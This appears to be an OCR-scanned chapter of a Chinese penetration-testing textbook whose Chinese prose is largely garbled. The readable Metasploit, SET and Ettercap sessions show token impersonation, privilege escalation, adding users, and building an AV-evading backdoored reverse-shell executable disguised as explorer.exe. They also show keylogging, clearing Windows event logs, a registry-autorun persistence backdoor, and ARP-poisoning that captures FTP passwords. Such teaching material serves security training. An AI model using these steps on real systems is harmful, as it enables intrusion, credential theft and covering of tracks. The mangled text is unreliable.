RO 21 % 5 session key) o 8K, AIFIRSS A5 4 HI?UJ:TJ M4 2t A is—14r, HRAd
IR 554 IR B R 5 7 i 5

(3) Fuitd ticket HIXBNMesra8 b, RSN EZ S o pig, i aire &z
e

(4) IXFER P 0 E e il D i, Moy 25 s T DL Ik A2 IR 25 85 SR Sk HU R 25 7 i 1) 4 L

712 (FHREBRESHE

M T 3RHC— Meterpreter Shell, H] /42044 H] Metasploit J: B iti— & LML A 0] kL)
##37 Meterpreter 23 ifi. X Tl ff] Metasploit Johi ML 7k, 7038 6 AT RG24, X H
AEATTEA . AT AR E 1 PSR P IR R TR .

(1) Ja3)) Meterpreter 2xif. AT S WF Fis:

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

My A5 Bl LLGE 2, B30 T Meterpreter 230 .
(2) 1 ] use incognito #ir-% %K incognito B, SRJ5 4125 H 2. AT A2 U1~ Pros:

meterpreter > use incognito
Loading extension incognito...success.

i 045 RN B INZR incognito B, AR5 w LUEN BrAHINEE, TS24
Man<. hATarLa FRR:

meterpreter > help
Core Commands

Command Description
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a
background thread

channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode

...... HEEBSAE

Stdapi: Webcam Commands
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Command Description

record_mic Record audio from the default microphone for X seconds
webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam

Priv: Elevate Commands

Command Description
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands

Command Description
hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
Command Description
timestomp Manipulate file MACE attributes

Incognito Commands
Command Description
add_group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token

PA_E%in 4R VB incognito #RBL T (K ATAT fir 4o M HE (K045 GL Pl BAFE 2510255 i Ay
ML A R list_tokens, $ATBL Ear AR HUCR R B, i PRIBERE, 5 m %
AT (.0 BT .

(3) FUZSHTAT A M. AT a4 0 F TR

meterpreter > list_tokens -u

[-] Warning: Not currently running as SYSTEM, not all tokens will be available

Call rev2self if primary process token is SYSTEM
Delegation Tokens Available

AA-8860KJIM26FSW\Test
Impersonation Tokens Available

No tokens available

M RS S LA B BB AT R A AA-8860KIM26FSW\Test o H:
AA-8860KIM26FSW &7 H AR RGN EHL#, Test &n ok ) 4.
(4) {#J}] impersonate token iy A H Test J /' #E47 Bl . $UATHA W0 AT

meterpreter > impersonate_token AA-8860KJM26FSW\\Test

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call revZself if primary process token is SYSTEM

[+] Delegation token available

[+] Successfully impersonated user AA-8860KJM26F SW\Test

M A5 B ol UL MRS Test 7 2. Bhi st vl LLUE LR T B SRR, 75 H
bR G REATATAT IR T
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Q35 A4 A HOSTNAME\USERNAME #) BH&E 285 A AN B AHT (W) .

7.2 RMARIZF

E— A T T H AR R R AR, IR KA 2R A UG W SRR H bR R R AL
PR o $ETHAHUACRR o] AR P 5 0] Hbs &%, JF BB oAb e, waldt i P fi %,
AN A 2 A HUAL R AL T

(A FE () SE LA A PR T, 1 75 S 5] Meterpreter 2318, HAKEAEM AR /4. A
AN PR B T B AR A 2D B T B s

(1) JA3) Meterpreter 231 . AT AT 4 WIF Iras:

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

M G Bl LLE S, BIhE3) T Meterpreter 23 1if
(2) ffH getsystem fip & PETARBIR . Bk, EFZ@SMHMIGEL. fiuTmS W
THR:

meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0").
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)

B S B R T getsystem A BUIEVEAR UL AEH] JO&isE . i gl n] LR A C
() 5, AT AR L RO TR B T A BB

(3) {fif] getsystem dr 42T AHIAL B . S04 7 A 20 B o

meterpreter > getsystem

...got system (via technique 1).
meterpreter >

M A5 Bl LLE 2], Bahkd 7 1o e stiiaT 7 His R4+ Test A
FURRLR T AR5 sl v] LUSCR A A48 4, Gn g sof . G0l mel 55 . i iz ) A
Fbr AR EEE 192.168.41.146 G5 —~4  bob B o AT fir-4- 1 F Fir s :

meterpreter > add_user bob 123456 -h 192.168.41.146

HATLA B4 a, olAZE N 192.168.41.146 b 2% 26141 bob H /7.

73 AL ITAEFITHE (SET)

o T2 T AA (SET) 2 ANJFET . Python JRAN 44 TR 28FE ML T .
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IXE T AR David Kenned 5 it 1fif HL L&l A b B8 St AL 25 TR A 20 B pRifE . SET
FIAATE b A 5AE P88 e — S BRI HH IR, Iﬁ([ﬂ'/\ﬂ‘]ﬂ%f—fﬁﬁ%"ﬁ ]l SET
A AR B 8y 2 F b R 80, MR ARG, SIS AR, BT e NS,
AR 4tk TResE THARE .

731 Baft=TIEFETHSE

i TR T RO, FEEZT . RARE SR s,
(1) JAsh SET. {E&mHAT W R Fronifdr <
root@kali:~# setoolkit

sl 0 A AR < N ﬁf?” [Kali Linux| “J& ‘f‘lﬁjﬂ H 1. H42"” |Social Engineering
Toolkit|setoolkit 7y 4, ¥ HzIF] TTF—~ B~ setoolkit fiy 212 1T 1) £ i
PATLL B A, 44¢ﬁ‘ﬂjﬂH—FFﬁTE’J )

[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123
[-] Verifying configuration update...

[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123
[*] SET is using the new config, no need to restart

Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this list of conditions
and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer

in the documentation and/or other materials provided with the distribution.

* Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used

to endorse or promote products derived from
this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit
as well.
Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source
application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the
appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it). Also note that by
using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at
least 5 seconds. Author
holds the right to refuse the hug or the beer.
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The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using
this tool for malicious purposes that are

not authorized by the company you are performing assessments for, you are violating the terms of
service and license of this toolset. By hitting

yes (only one time), you agree to the terms of service and that you will only use this tool for lawful
purposes only.

Do you agree to the terms of service [y/n]:

i B BRI T SET. fE RIS - REATh, A2 Bor. fRiZRmHEZIX
W E G, AT AR . A y, KRR FFRIE R

[ The Social-Engineer Toolkit (SET) -]
[ Created by: David Kennedy (ReL 1K) []
-] Version: 5.4.2 I
[ Codename: 'Walkers' =
[ Follow us on Twitter: @TrustedSec =]l
[ Follow me on Twitter: @HackingDave [--]
-1 Homepage: https://www.trustedsec.com =

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu: #SET &
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set>

PLE SR Tabey TR LRBNEIEE . WA, A4 L EG 0. iUl
R, AR L 2 5 HEAT R AT

(2) XHUEFBG AL TR, R0 P RIM S 0 1, BrOME see oA 1, Ko
W F PR EE R

set> 1
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set>
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BB

LU R B R 7 B4 TRESAR S R I, IR gl n] DUE RS TREE 26 R,

Je AT B

(3) IXHLIEFEEIE DIl AT 8%, AG S 4, R

set> 4
set:payloads> Enter the IP address for the payload (reverse):192.168.41.146

What payload do you want to generate:

Btk 05 s TRl A R A AT B AT, IR B H bR R G R N 1

BT o

(4) AP B f H xR 800 Windows XP 32 7, LUK HLZERE S 5 2. W0 FHros:

Name:
1) Windows Shell Reverse_TCP

2) Windows Reverse_TCP Meterpreter
3) Windows Reverse_TCP VNC DLL
4) Windows Bind Shell
5) Windows Bind Shell X64
6) Windows Shell Reverse_TCP X64
7) Windows Meterpreter Reverse_TCP X64
8) Windows Meterpreter All Ports
9) Windows Meterpreter Reverse HTTPS
10) Windows Meterpreter Reverse DNS
11) SE Toolkit Interactive Shell
12) SE Toolkit HTTP Reverse Shell
13) RATTE HTTP Tunneling Payload
14) ShellCodeExec Alphanum Shellcode
15) Pylnjector Shellcode Injection
16) MultiPylInjector Shellcode Injection

17) Import your own executable

set:payloads> 2
Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting

in

order to get around basic AV detection.
1) shikata ga nai
2) No Encoding
3) Multi-Encoder
4) Backdoored Executable

#HEREWEHER IP it

Description:

Spawn a command shell on victim
and send back to attacker

Spawn a meterpreter shell on
victim and send back to attacker
Spawn a VNC server on victim and
send back to attacker

Execute payload and create an
accepting port on remote system
Windows x64 Command Shell, Bind
TCP Inline

Windows X64 Command Shell,
Reverse TCP Inline

Connect back to the attacker
(Windows x64), Meterpreter
Spawn a meterpreter shell and
find a port home (every port)
Tunnel communication over HTTP
using SSL and use Meterpreter
Use a hostname instead of an IP
address and spawn Meterpreter
Custom interactive reverse

toolkit designed for SET

Purely native HTTP shell with
AES encryption support

Security bypass payload that

will tunnel all comms over HTTP
This will drop a meterpreter
payload through shellcodeexec
This will drop a meterpreter
payload through Pylnjector

This will drop multiple

Metasploit payloads via memory
Specify a path for your own
executable

i 0E SR T 3R T AV BUhiy JUR ik
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(5) IXHIEFES 4 FlL WA S 4, W FPIR:

set:encoding>4

set:payloads> PORT of the listener [443]: #HZBIITAR O S
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[*] Backdoor completed successfully. Payload is now hidden within a legit executable.
[*] Your payload is now in the root directory of SET as payload.exe

[-] The payload can be found in the SET home directory.

set> Start the listener now? [yes|no]: yes #E7E /A F B A Y O
[-] Please wait while the Metasploit listener is loaded...

[_] ek

[-] * WARNING: Database support has been disabled

[-] %%

# cowsay++

< metasploit >

Vo
\ (oo)__

) N

[1-11 *
Save your shells from AV! Upgrade to advanced AV evasion using dynamic
exe templates with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- -—=[ 1246 exploits - 678 auxiliary - 198 post
+ - --=[ 324 payloads - 32 encoders - 8 nops
[*] Processing /root/_set/meta_config for ERB directives.

resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.41.234
LHOST => 192.168.41.234
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.41.234:443

[*] Starting the payload handler...

R pE S s TR EA S TREN— R, izt FEHegfr e i IP Huhilk 5o Ot
ﬁ'ﬂﬂ&ﬁg’, JFEHATIF T —A handler. X HUK 1P bl i DB 79002, 2R —LHLE

REAFTEZ AR, (B2 H S R AR . X8 H 30 I 88 5 Bt TS SR s B 2T
EU REURIER:, FHTTALERIX BE ) 24 .

7.32 FBIEHETSEBIRRES

Ko gy (Payload) #5042 M 7 B B Ax RE (L9 2E Bk 2 e $AT A . 1
Metasploit HEZZH R DL fiHbiE 86 FREfIRIA . Flan, ol Shell 2 —F0 M H AR EHLE]
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Brits THLONEE M 25 3E#E, TR L Ar 21T Shell BT, 1M Bind Shell BUi 8 fir WITE H Ax
R ¥ 24T Shell 465E B —AFTIFR MW 1, B o) DO RZ 235 FRIET Shell
AT H. o Mroh syt vl AE S (8 A AE AR R G LT LS, WA IR S AE. Tl
A Uh B gn B AR RGN Tk

i Wb Bt es B bR RSt HARERAE P IRUT R Frs .

(1) b4 TR | HERI 2225 7 ust/share/set F, {EiZ Hak 1 —A EXE ), &K
payload.exe. {EiZFEMGNES A T 8 gl B AR EHLH PRI, dlEduz o4, RGHR
B AN . SRS WA N AR 2, WS PERI A AR AL 56 . 1 2 V)40 Bl /ust/share/set
Fogrh, AFZAR TS $ATar 2 N PoR:

root@kali:~# cd /usr/share/set/

root@kali:/usr/share/set# Is

= modules readme seautomate setoolkit seupdate src
config payload.exe README.txt seproxy setup.py seweb

MEL EN A u] LU R4 4 payload.exe [F) 0. H5 Rk v] LS M0 SO 44 4
explorer.exe, #RJ5 AL HALAN .
(2) &4 payload.exe A4, $hAT dr4 Ul F Frs:

root@kali:/usr/share/set# mv payload.exe explorer.exe

root@kali:/usr/share/set# s

= explorerexe readme seautomate setoolkit seupdate src
config modules README.txt  seproxy setup.py seweb

ML ERZFERTLLR R, B AT —1~% 4 explorer.exe L ff.
(3) Fhzcifabes AN o W SRAG A B p e XAt iy, FR 20K SO A T e 4a .
RHBAEAS SR RO EXE SO aTLMEH] ZIP ap & I 4d iz 0 fF, R HioR:

root@kali:/usr/share/set# zip healthfiles explorer.exe
adding: explorer.exe (deflated 88%)

META WA LU B, explorer.exe SCAHE T 4a . biy, s wl DLad s misfH iy e =k
IR AN . JZAEY AR RGP TG, ¥ BXahE Er MR 2k .
PR

msf exploit(handler) >

[*] Sending stage (769024 bytes) to 192.168.41.146

[*¥] Meterpreter session 1 opened (192.168.41.234:443 -> 192.168.41.146:2126) at 2014-05-06

19:25:43 +0800

HRIL LA, Fon ARG LU0 R dar 72 ih. BUE, Balid ot nl BAE H bx
G L H CAREMrN .

733 WEBIRRSKEEE

T8 TA I i A AL 40 A AR RS, FERI L iE. MRI @ &i6E, W
F AT LU AR R ZE S RO . B AR RSB, A T B X A A
W BB . FISAACE B AR RGOSR . W F AR R GE5OR 1 LA R 1 25 T )
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R
(1) i Meterpreter 23 . AT S W ATm:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

ol

(2) THABRIC S35 AT a2 T FoR:

meterpreter > keyscan_start
Starting the keystroke sniffer...

(3) PR ARG P IEEE . AT W FHIR:

meterpreter > keyscan_dump
Dumping captured keystrokes...
<Return> <Return> <Return> <N1> <Return> 2 <Return> 34

W A5 B RS, HAR RAMITIS 4R A T 8T 1. 2 /134 4.
7.3.4 BRRERD

LB EHEHENMZ AR RS G, MR R ] e W id R B AR REEH H A& S0 .
KT HARRG TR, WEhRERS R dER EE TAE. ROV W R R, n]agarkii R
AR IRAE P AN FHAEO X ANl T, A2 Metasploit 4L 17— R 772l LU 5y 12K
FiRRTATER S . N DR A 2840 1] Metasploit #5 5REREE 1) 7% . AT Metasploit #7555 1)
AR S B N TR

(1) G Meterpreter 2315 . $UAT A2 W N Pros:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

(2) 7 Metasploit B {17 irb iy 4] LU FREAE . AT a7 T PrR:

meterpreter > irb
[¥] Starting IRB shell

[#¥] The 'client' variable holds the meterpreter client
>>

B PR B> PR A, R INaAT T b Ay
(3) EEMEMERHE. 5N HEESW R
U log = client.sys.eventlog.open('system');

log = client.sys.eventlog.open('security’);

log = client.sys.eventlog.open('application");

log = client.sys.eventlog.open('directory service');

log = client.sys.eventlog.open('dns server');

O000C

log = client.sys.eventlog.open('file replication service').
KSR H& . BT AW T TR

>> log = client.sys.eventlog.open('system’)
>> log = client.sys.eventlog.open('security’)
>> log = client.sys.eventlog.open(‘application’)
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[

>> log = client.sys.eventlog.open('directory service')
>> log = client.sys.eventlog.open('dns server')
>> log = client.sys.eventlog.open('file replication service')

PATUL B A5, Randiw TENERITHE. B FRFEERAT log.clear 44 1] LUK
G AT AL T TR
>> |og.clear

AT Ear o, R Bawh] i i .

735 GIEHARI]

SRR A bR R G VT AR G, E SOOI S A AR TR, e

FHIEAN ARG WER AR PR T iz, BIanEga st 5, sk aiT s 1R e
VFASER S Hbs R LER. N T )R8H8IEE, Prlf R NaT]. XA, HD
TR T, AR TAE. NI HEVERFAIGT]. BIER A ST 1IN AR
T FHR.

|

(1) Wik Meterpreter 23t . $AT AT 2 W A7

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
(2) QUERFFANG T, SEEA M eErfBcrt. hATar & Frs:

meterpreter > run persistence -h

Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent
-L <opt> Location in target host where to write payload to, if none % TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.

-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use

-U Automatically start the agent when the User logs on

-X Automatically start the agent when the system boots

-h This help menu

-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on the remote host where Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

PLEE BB m THAGTH) L, A e, RiEEE].
(3) Bl AT A% W PR

meterpreter > run persistence -U -A -i 10 - 8090 r 192.168.41.234

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/
AA-8860KJM26FSW_20140507.2857/AA-8860KJM26FSW_20140507.2857 .rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.41.234 LPORT=4444
[*] Persistent agent script is 148405 bytes long

[+] Persistent Script written to CADOCUME~1\Test\LOCALS~1\Temp\lzZXBdJvcpnD.vbs

[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp

[+] Multi/Handler started!
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[*] Executing script CADOCUME~1\Test\LOCALS~1\Temp\lzXBdJvcpnD.vbs

[+] Agent executed with PID 1612
[#] Installing into autorun as HKCU\Software\Microsoft\Windows\

CurrentVersion\Run\mERugsle
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsle

s HOAS B eos TRUEG TR — AN R . FERA EAREh T LR R, fE AR RS A
T A A, {RIFLE C\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvepnD.vbs. Jf .,
A2 B A b AL FIE1T, B2 @ 5058 > Meterpreter 23 1. W R k.
meterpreter > [*] Meterpreter session 2 opened (192.168.41.234:443 -> 192.168.41.146:1032) at
2014-05-07 16:25:47 +0800

FHLL LR E R, AR B ald ).
7.3.6 fHiEAKE (MITM)

HiE] Azt (Man in the Middle Attack, &% “MITM Mrodi 7 ) J&— R4 ) A2 Bt .
KR HGE AR SRR T B 2 ANRF RN — & T SRR LURCE 72 M 246 35 2 h
I SIS THRENLZ ), X ETENEERRA R o FEPE A48 Ettercap T H. S
BHp ) AN B

1. FHERRR

HI RIS 26 1 RN ek 2 3 o i A A B = Bt FAR ERLEEAT BGR . EHLEE R4
ki, WA A A (I Re A E AT I o 8 R oRmb T AR T

[N A TIEAE N, B R A e A B F b AL L B A
6 1P Hohib. by IP Hbhik J2 MAC Huhib. {HUE 24 EHUE A QIZAF &P A H Ar EHL
AU hEI, ESAUE ARP T #E, 7RI RS oglin] Be g A G H 78 H AR L

2. ARPHUIRIRIE

St RN B B, B # 5 RE 0 7 202 ARP 3R B DNS g %% . N1 LU WL ARP
o A, T ARP B U

— eI, ARP WG AN R A N4 CiEE B BT, i 2R B A M O A 1 ML
IR WY SC B A B i o ks EAUE AT e A 8 A i ] UG R A T 4 i A
A F, MmEHR R B EGE . ARP I LR 7.2 iR,

Wil 7.2 Proys, HEHL A MEYLB ZEIEEN, AR TEHLA /£ H Sl ARP 247
BA R AL B 1 MAC HiJIEIS, N0 A R ) A R s o0 vh B A7 o LR ARP T4,
IR TG AN S i T LB B TR . X, L C M AL A, SR AL
B, F&M MAC Hihik & XX-XX-XX-XX-XX-XX, LA BRIk 2 350 50 A C 28
R BN A BRS TN B ER, 28R kB BGE TAL CEALC) |, izd
P eeeid B C # & F L B,
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EHABIEN B RETRED PCIHE

FREENLA . FMACHIHE
XXX X- XX-XX-XX-XX
( FENLCHIMAC Hihk)

R EN B A MACHIHE
2 XXX X-XX-XX-XX-XX
(EHLCHI MAC HikE)

7.2 ARP 5 EHL

3. FEAE

SEI ) N BT AP AN B B Rl A TR B A BGE— S EAL 5 TR R
Nl XN B CAE TR 7.3 FE 7.4 Frox.

@ ARPiE AT @

EhLA EHB(HEE)

Bl 7.3 ARP AT

{EAZBT B AL B i ARP 7 AN 19 /775 PASEEE ARP BR 3, J8t ARP HR3 (1 /77
AL A 5 HA R R LS B

[l 1=

TR —AHr BEBGE e i, LB o] ATERX AN W48 b v ) N S0y, Rl
BN A FHAR AR EAR R, WK 7.4 Brs.

- ek .
{15 ARP NI SC

+HB (Hdfi#H)

€74 ) Adidrp L]
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(»
(2)
(3)

TEIZAN g b BN A ) B C AOETER, iz SR AL B EHL B E.
EHLA BIES THL C ARG & EHL B ¥ k8 EHL C k.
ML C B DU L A HHERAIER . I TN C R L A [ER,

[FIRE A Z B AR 2 L B R A BTN A L.

4

THLA MBI G, F Sk THL Co IXFEEHL A SR HIHI 2 R, FFaul

THLB AFH .
)1 Ettercap - HSZHL ] ATl HARSRAED W F frors.

(D

JA sl Ettercap | H.. $#U4T#r% W F .

root@kali:~# ettercap -G

HATLL B S a, B wpE 7.5 B gk .

File

cttercap 0.8.0 H.Ed-j

Sniff Options ?

(2)

7.5 Ettercap J3a) S

Z e Bttercap L HAUHIEHF il # FAIE AN 9 iR SE B ) N L. 8

SRR L FE SnifflUnified sniffing #y-%8lf% & ShifthU &8, 5w mnld 7.6 Brow

SETAIR

ettercap 0.8.0 H":il,,ﬂ

W Options 7
Unified sniffing..  Shift+U |
Bridged sniffing... Shift+B
Set pcap filter... P
_ " =l

7.6 J3Bhm45

(3) {EizF¢ i Unified sniffing @74 )e, K il 7.7 Prosf gt .
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attercap Input

e Network nterface : | ' ]"I

& [nz(o) |[ mmo |

7.7 BN

(4) {EZSL LRI 28 M. IX HLIESE eth0, RJGEd “fie” 4, KB 7.8
P 7P FE 10

ettercap 0.8.0 e

Start Targets Hosts View Mitm Filters Logging Plugins ?

33 plugins
42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

78 JazhiEosm

(5) s, sl A BT AT N0 T o 7R3 5 R i %L 4% Hosts|Scan for hosts
fir g T CelhS HA5HE, Wi 7.9 Fras.

ettercap 0.8.0 Hﬁilﬁﬂ

Start Targets [l View Mitm Filters Logging Plugins ?

T
Hosts list H |
Scan for hosts Ctrl+5
Load from file... Ctrl+0

/ Save to file... Ctrl+5 ‘\&""

7.9 BEapafIm

(6) {EiZ AL i Scan for hosts 4> 5, K o< W& 7.10 R 8 7 o

(7) Wiz St 5 BT UG B3R 3 6 B0 R EEFHPRBEMNE L,
TE SR HP K Y% $E Hosts[Hosts list wiy 4ol is ~ H8E, il 7.11 fior.

(8) {Eiz A I H il Hosts list a2 ), R wos W& 7.12 Jros i) #tifl .
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ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins ?

ML
cr
F
w’
B

L LE

33 plugins

Privileges dropped to UID 65534 GID 65534...

42 protocol dissectors

57 ports monitored

16074 mac vendor fingerprint

1766 tcp OS fingerprint

2182 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...

B 7.10 HEENA

ettercap 0.8.0 Eﬁﬁ
Start Targets ||z --+1| View Mitm Filters Logging Plugins ?
Hosts list H
Scan for hosts Ctrl+5S e
Load fromfile...  Ctrl+0 :\\
Save to file... Ctrl+S

B 711 $TFEMAIE

ettercap 0.8.0

Start Targets Hosts View Mitm Filters Logging Plugins ?

Host List K

IP Address ' MAC Address Description

192.168.41.1 00:50:56:C0:00:08
192.168.41.2 00:50:56:E9:AF:47
192.168.41.146 00:.0C:29:48:66:40
192.168.41.151 00:0C:29:50:F9:AE
192.168.41.254 00:50:56:EE:5D:9E

Delete Host H Add to Target 1 " Add to Target 2

33 plugins
42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Randomizing 255 hosts for scanning...

iScanning the whole netmask for 255 hosts...
5 hosts added to the hosts list...

B 7.12  HEIW A LR
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(9) HFW R T HHEER G EHLY IP Mol fl MAC il 7EiAmiEs it —&
THL, TENHFRRSE. X HEFE 192.168.41.151 1ML, 2RJ5HdF Add to Target 1 1%, ¥

I F bR BB G TT AR RS A, (L A HOREE #% Start|Start sniffing /iy 4 2id% T Cul+W
AL, Wi 7.13 Pros.

ettercap 0.8.0 - (O] X
Targets Hosts View Mitm Filters Logging Plugins ?

Start sniffing Ctrl+w

Stop sniffing Ctrl+E =
ess Description

Exit Ctrl+X €0:00:08

713

(10) BT, LA ARP VARG AN E HAR R AR E 2GR . 1)
ARP JE NG, FEFCHRS RS Mitm|Arp poisonig...#i7%, W1 7.14 Frar.

Start Targets Hosts View Filters Logging Plugins ?
Host List W Arp poisoning...

lemp redirect...
IP Address MAC Addres

Port stealing...
192168411  00:50:56:CC

192168.41.2  00:50:56:E9
192.168.41.146 00;0C: 29 4 siEA AU C )

Dhcp spoofing...

P 7.14  Arp i AHHE

(11) #.; Arp poisonig A< ), KRR WlE 7.15 FrocfFtiml. /o d kA di i

FEI, X H £ PE Sniff remote connections. #RJ5ES “HfiE ” 4, BB W& 7.16 s
[ S

ettercap 0.8.0 ==

Start Targets Hosts View Mitm Filters Logging Plugins ?

Host List W 1

IP Address | MAC Address Description ‘

192.168.41.1 00:50:56:C0:00:08
192.168.41.2  00:50:56:E9:AF:47
192.168.41.146 00:0C:29:48:66:40

192.168.41.151 00:0C:29:50:F9:AE

192.168.41.254 00:50:56:EE:5D:9E
‘ Delete Host ][ Add to Target 1 ]L Add to Target 2

Starting Unified sniffing...

DHCP: [00:0C:29:50:F9:AE] REQUEST 192.168.41.151

DHCP: [192.168.41.254] ACK : 192.168.41.151 255.255.255.0 GW 192.168.41.2 DNS
192.168.41.2 "localdomain”

MITH Attack: ARP Poisoning (F nobody)

h I RE(D) ] [ HYiH(C) ] GROUP 2: ANY (all the hosts in the List)

‘Optonal paramesters

ISrliff remote :onnecﬁoni.] IARP poisoning victims:

[J Only poson one-way.

GROUP 1:192.168.41.151 00:0C:29:50:F9:AE

715 Tk B 7.16 MHRm
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(12) BRI, AN B 5 192.168.41.151 AL, & HBURAS B ik 4 b 45 T s
Fo AP R B BURGE R W 7.17 Fios.

Start Targets Hosts View Mitm Filters Logging Plugins ?

ettercap 0.8.0

Host List M

IP Address MAC Address \ Description
192.168.41.1 00:50:56:C0:00:08
192.168.41.2 00:50:56:E9:AF:47
192.168.41.146 00:0C:29:48:66:40

192.168.41.151 00:0C:29:50:F9:AE

192.168.41.254 00:50:56:EE:5D:9E

Delete Host ” Add to Target 1 ]l Add to Target 2

192.168.41.2 "localdomain”
IARP poisoning victims:
GROUP 1:192.168.41.151 00:0C:29:50:F9:AE

GROUP 2 : ANY (all the hosts in the list)

FTP:192.168.41.151:21 -> USER: anonymous PASS: 123456

DHCP: [00:0C:29:50:F9:AE] REQUEST 192.168.41.151

DHCP: [192.168.41.254] ACK : 192.168.41.151 255.255.255.0 GW 192.168.41.2 DNS
192.168.41.2 "localdomain™

717 HEREIBURE B

(13) MG AT LUE 2], A7 7 8k 192.168.41.151 FHLAY FTP JIRS%E T HHAI ' 4
2} anonymous, #i44 123456. FRHUXLE(F HJG 15 IERER, 7528 ik i Start|Stop
sniffing 74, W% 7.18 FiR.
